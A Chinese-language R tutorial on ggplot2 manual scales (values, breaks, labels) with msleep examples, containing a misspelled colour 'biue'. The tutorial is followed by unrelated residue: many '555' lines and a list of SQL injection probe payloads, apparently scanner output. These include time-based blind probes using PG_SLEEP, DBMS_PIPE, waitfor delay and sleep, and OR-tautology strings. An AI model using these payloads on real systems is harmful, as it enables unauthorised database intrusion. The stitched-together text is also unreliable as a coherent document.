使用以下手动型标度可以定制新的标度:scale_colour_manual(..., values)、scale_fill_manual(..., values)、scale_size_manual(..., values)、scale_shape_manual(...,values)、scale_linetype_manual(..., values)等。使用这些标度,可以对图形的颜色、填充色、大小等属性进行自定义修改。这里主要介绍参数values(必选)、breaks、labels,其他具体查看帮助文档。
必选参数values:
手动型标度有一个重要参数values,用于指定这个标度应该生成的值。如果这个向量中的元素是有名称的。则它将自动匹配输入和输出的值,否则它将按照离散型变量中水平的先后次序进行匹配。
p <- qplot(brainwt,bodywt,data=msleep,log="xy",geom = 'line')+ aes(colour=vore)
p + scale_colour_manual(values = c('red', 'orange', 'yellow', 'green', 'biue'))
colours <- c(carni='red','NA'='orange', insecti='yellow', herbi='green', omni='blue')
p + scale_colour_manual(values = colours)
p + aes(size = vore) + scale_size_manual(values = c(0.2,0.5,1,1.5))

前两个图是使用手动标度自定义了颜色标度,右图是使用了自定义的大小size 标度
可选参数breaks、labels:
-
breaks 参数控制着图例上显示的内容、顺序;
-
而参数labels(必须与breaks 一起使用,且与breaks 长度一致)是控制图例显示的标签,比如以下图中的“A”、“B”、“C”、“D”;
-
参数breaks 与labels 仅仅是影响图例的显示效果,而对图形没有任何影响。
p + scale_color_manual(values = colours,breaks = c("carni","herbi","omni"))
p + scale_color_manual(values = colours,breaks = c("carni","herbi","insecti","omni"),labels = c("A","B","C","D"))
p + scale_color_manual(values = colours,breaks = c("carni","omni"),labels = c("A","B"))

555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@Y84vF
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555sCV8c931')) OR 403=(SELECT 403 FROM PG_SLEEP(15))--
555NLcew8E1') OR 913=(SELECT 913 FROM PG_SLEEP(15))--
5553Lw3Njlz' OR 203=(SELECT 203 FROM PG_SLEEP(15))--
555-1)) OR 79=(SELECT 79 FROM PG_SLEEP(15))--
555-1) OR 638=(SELECT 638 FROM PG_SLEEP(15))--
555-1 OR 160=(SELECT 160 FROM PG_SLEEP(15))--
555raMJd0QO'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "2LMEOvxM"="
-1' OR 5*5=25 or 'BnCVmb5r'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555